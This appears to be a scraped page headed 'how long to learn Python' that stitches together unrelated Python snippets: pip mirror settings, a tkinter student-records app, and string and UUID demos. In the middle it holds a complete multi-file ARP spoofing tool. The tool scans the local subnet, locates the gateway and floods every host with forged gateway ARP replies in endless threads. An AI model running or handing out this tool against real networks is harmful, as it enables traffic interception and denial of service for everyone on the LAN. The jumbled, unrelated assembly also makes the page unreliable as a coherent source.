python要学多久

pip install -i https://pypi.douban.com/simple/ flask 

$ cat pip.conf  
[global]  
index-url = https://pypi.douban.com/simple/ 

from __future__ import print_function  
import getpass  
 
user = getpass.getuser()  
passwd = getpass.getpass('your password: ')  
print(user, passwd) 

from prompt_toolkit import prompt  
 
while True:  
    user_input = prompt('>')  
    print(user_input)

eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意，参数为字符串类型
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源，dst为目标，op=2为响应报文、1为请求
pkt = eth / arp
endp(pkt)

#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread
 
def host_scanner(ip):
  p = os.popen('ping -c 2 '+ip)
  string = p.read()
  pattern = 'Destination Host Unreachable'
  if re.search(pattern,string) is not None:
    print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
    return False
  else:
    print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
    return True
 
if __name__=='__main__':
  print 'This script is only use as model,function:scanner(ip)!'

#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time
 
def getMac(ip_table=[],arp_table={}):
  #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
  p = os.popen('arp -a')
  string = p.read()
  string = string.split('\n')
  pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
  length = len(string)
  for i in range(length):
    if string[i] == '':
      continue
    result = re.search(pattern, string[i])
    if result is not None:
      ip = result.group(1)
      mac = result.group(3)
      arp_table[ip]=mac
      ip_table.append(ip)
    #else:
      #print '[*]macSearch.getMac:result is None'
  #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
  return (ip_table,arp_table)
 
if __name__=='__main__':
  table = getMac()
  ip_table = table[0]
  arp_table = table[1]
  for i in range(len(ip_table)):
    ip = ip_table[i]
    print '[-]'+ip+'<-is located on->'+arp_table[ip]

#!/usr/bin/python
'''
'Kernel IP routing table\nDestination   Gateway     Genmask     Flags Metric Ref  Use Iface\n
0.0.0.0     172.16.0.254  0.0.0.0     UG  100  0    0 enp3s0f1\n
172.16.0.0   0.0.0.0     255.255.255.0  U   100  0    0 enp3s0f1\n'
'''
 
import re
import os
import time
from macSearch import *
 
def find_Gateway():
  p = os.popen('route -n')
  route_table = p.read()
  pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
  result = re.search(pattern, route_table)
  if result is not None:
    #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
    table = getMac()
    ip = table[0][0]
    mac = table[1][ip]
    return (ip,mac)
  else:
    #print '[*]arpATC.find_Gateway:result is None!'
    #print '[*]Gateway is no found!'
    return
 
if __name__=='__main__':
  print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
  gateway = find_Gateway()
  if gateway is not None:
    print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
  else:
    print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )

#/usr/bin/python
 
import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *
 
class arpThread(threading.Thread):
  def __init__(self,tag_ip,number):
    super(arpThread,self).__init__()
    self.tag_ip = tag_ip
    self.number = number
    self.status = False
 
  def run(self):
    add = 0
    if (self.number-1)==0:
      add = 1
    start = (self.number-1)*64 + add
    #1-63,64-127,128-191,192-256
    end = start + 64
    for i in range(start, end):
      if i < 255:
        host = self.tag_ip.split('.')
        host[3] = str(i)
        host = '.'.join(host)
        host_scanner(host)
    self.status=True
    print '[-]Status of Thread_%d is '%self.number+str(self.status)
 
    #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
 

#!/usr/bin/python
 
import threading
from scapy.all import ARP,Ether,sendp,fuzz,send
 
class atcThread(threading.Thread):
  def __init__(self,table,gtw_ip,gtw_mac):
    super(atcThread,self).__init__()
    self.table = table
    self.gtw_ip = gtw_ip
    self.gtw_mac = gtw_mac
 
  def run(self):
    ip_table = self.table[0]
    arp_table = self.table[1]
    while True:
      for i in range(len(ip_table)):
        tag_ip = ip_table[i]
        tag_mac = arp_table[tag_ip]
        eth = Ether(src=self.gtw_mac, dst=tag_mac)
        arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
        pkt = eth / arp
        sendp(pkt)
 
        #pkt = eth/fuzz(arp)
        #send(pkt,loop=1)

#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread
 
def atc_WrongGTW(gtw):
  src_ip = gtw[0]
  src_mac = gtw[1]
  print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
  arpThread_1 = arpThread(src_ip,1)
  arpThread_2 = arpThread(src_ip,2)
  arpThread_3 = arpThread(src_ip,3)
  arpThread_4 = arpThread(src_ip,4)
 
  arpThread_1.start()
  arpThread_2.start()
  arpThread_3.start()
  arpThread_4.start()
  t = False
  while(t==False):
    t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
    time.sleep(5)
  table = getMac()
  print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
  flag = raw_input('[-]Ready to start attacking:(y/n)')
  while(True):
    if flag in ['y', 'Y', 'n', 'N']:
      break
    print "[*]Plz enter 'y' or 'n'!"
    flag = raw_input()
  if flag in ['n','N']:
    print '[*]Script stopped!'
  else:
    atcThread_1 = atcThread(table,src_ip,src_mac)
    atcThread_2 = atcThread(table,src_ip, src_mac)
    atcThread_3 = atcThread(table,src_ip, src_mac)
    atcThread_4 = atcThread(table,src_ip, src_mac)
    os.popen('arp -s %s %s'%(src_ip,src_mac))
    print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
    print '[-]Strat attack...'
    atcThread_1.start()
    atcThread_2.start()
    atcThread_3.start()
    atcThread_4.start()
 
 
 
if __name__=='__main__':
  gateway = find_Gateway()
  if gateway is not None:
    atc_WrongGTW(gateway)
    while True:
      pass
  else:
    print "[*]Can't find Gateway!"

from tkinter import *
from tkinter.messagebox import *
import sqlite3
from tkinter import ttk
 
dbstr = "H:\mydb.db"
 
root = Tk()
root.geometry('700x1000')
root.title('学生管理系统')
 
Label(root, text="学号：").place(relx=0, rely=0.05, relwidth=0.1)
Label(root, text="姓名：").place(relx=0.5, rely=0.05, relwidth=0.1)
Label(root, text="电话：").place(relx=0, rely=0.1, relwidth=0.1)
Label(root, text="地址：").place(relx=0.5, rely=0.1, relwidth=0.1)
 
sid = StringVar()
name = StringVar()
phone = StringVar()
address = StringVar()
Entry(root, textvariable=sid).place(relx=0.1, rely=0.05, relwidth=0.37, height=25)
Entry(root, textvariable=name).place(relx=0.6, rely=0.05, relwidth=0.37, height=25)
 
Entry(root, textvariable=phone).place(relx=0.1, rely=0.1, relwidth=0.37, height=25)
Entry(root, textvariable=address).place(relx=0.6, rely=0.1, relwidth=0.37, height=25)
 
Label(root, text='学生信息管理', bg='white', fg='red', font=('宋体', 15)).pack(side=TOP, fill='x')
 
 
def showAllInfo():
 x = dataTreeview.get_children()
 for item in x:
  dataTreeview.delete(item)
 con = sqlite3.connect(dbstr)
 cur = con.cursor()
 cur.execute("select * from student")
 lst = cur.fetchall()
 for item in lst:
  dataTreeview.insert("", 1, text="line1", values=item)
 cur.close()
 con.close()
 
 
def appendInfo():
 if sid.get() == "":
  showerror(title='提示', message='输入不能为空')
 elif name.get() == "":
  showerror(title='提示', message='输入不能为空')
 elif phone.get() == "":
  showerror(title='提示', message='输入不能为空')
 elif address.get() == "":
  showerror(title='提示', message='输入不能为空')
 else:
  x = dataTreeview.get_children()
  for item in x:
   dataTreeview.delete(item)
  list1 = []
  list1.append(sid.get())
  list1.append(name.get())
  list1.append(phone.get())
  list1.append(address.get())
  con = sqlite3.connect(dbstr)
  cur = con.cursor()
  cur.execute("insert into student values(?,?,?,?)", tuple(list1))
  con.commit()
  cur.execute("select * from student")
  lst = cur.fetchall()
  for item in lst:
   dataTreeview.insert("", 1, text="line1", values=item)
  cur.close()
  con.close()
 
 
def deleteInfo():
 con = sqlite3.connect(dbstr)
 cur = con.cursor()
 cur.execute("select * from student")
 studentList = cur.fetchall()
 cur.close()
 con.close()
 print(studentList)
 
 num = sid.get()
 flag = 0
 if num.isnumeric() == False:
  showerror(title='提示', message='删除失败')
 for i in range(len(studentList)):
  for item in studentList[i]:
   if int(num) == item:
    flag = 1
    con = sqlite3.connect(dbstr)
    cur = con.cursor()
    cur.execute("delete from student where id = ?", (int(num),))
    con.commit()
    cur.close()
    con.close()
    break
 if flag == 1:
  showinfo(title='提示', message='删除成功！')
 else:
  showerror(title='提示', message='删除失败')
 
 x = dataTreeview.get_children()
 for item in x:
  dataTreeview.delete(item)
 
 con = sqlite3.connect(dbstr)
 cur = con.cursor()
 cur.execute("select * from student")
 lst = cur.fetchall()
 for item in lst:
  dataTreeview.insert("", 1, text="line1", values=item)
 cur.close()
 con.close()
 
 
Button(root, text="显示所有信息", command=showAllInfo).place(relx=0.2, rely=0.2, width=100)
Button(root, text="追加信息", command=appendInfo).place(relx=0.4, rely=0.2, width=100)
Button(root, text="删除信息", command=deleteInfo).place(relx=0.6, rely=0.2, width=100)
 
 
dataTreeview = ttk.Treeview(root, show='headings', column=('sid', 'name', 'phone', 'address'))
dataTreeview.column('sid', width=150, anchor="center")
dataTreeview.column('name', width=150, anchor="center")
dataTreeview.column('phone', width=150, anchor="center")
dataTreeview.column('address', width=150, anchor="center")
 
dataTreeview.heading('sid', text='学号')
dataTreeview.heading('name', text='名字')
dataTreeview.heading('phone', text='电话')
dataTreeview.heading('address', text='地址')
 
dataTreeview.place(rely=0.3, relwidth=0.97)

str.title();

#!/usr/bin/python

str = "this is string example....wow!!!";
print str.title();

This Is String Example....Wow!!!

def generate_gid():
    gids = []
    for number in range(100000, 10000000):
        gids.append(number)
    for gid in gids:
        index0 = random.randint(0, len(gids) - 1)
        index1 = len(gids) - 1
        tmp = gids[index0]
        gids[index0] = gids[index1]
        gids[index1] = tmp
    return gids.pop()

# coding:utf-8
import random
def createRandomString(len):
    print ('wet'.center(10,'*'))
    raw = ""
    range1 = range(58, 65) # between 0~9 and A~Z
    range2 = range(91, 97) # between A~Z and a~z

    i = 0
    while i < len:
        seed = random.randint(48, 122)
        if ((seed in range1) or (seed in range2)):
            continue;
        raw += chr(seed);
        i += 1
    # print(raw)
    return raw

print createRandomString(20)

print ("test".center(20,"-"))
#! coding:utf-8
import uuid
print u"uuid1  生成基于计算机主机ID和当前时间的UUID"
print uuid.uuid1() # UUID('a8098c1a-f86e-11da-bd1a-00112444be1e')

print u"\nuuid3  基于命名空间和一个字符的MD5加密的UUID"
print uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org') #UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e')

print u"\nuuid4  随机生成一个UUID"
print uuid.uuid4()
#'16fd2706-8baf-433b-82eb-8c7fada847da'

print u"\nuuid5  基于命名空间和一个字符的SHA-1加密的UUID"
uuid.uuid5(uuid.NAMESPACE_DNS, 'python.org') #UUID('886313e1-3b8a-5372-9b90-0c9aee199e5d')

print u"\n根据十六进制字符生成UUID"
x = uuid.UUID('{00010203-0405-0607-0809-0a0b0c0d0e0f}')
print u"转换成十六进制的UUID表现字符"
print str(x)       # '00010203-0405-0607-0809-0a0b0c0d0e0f'''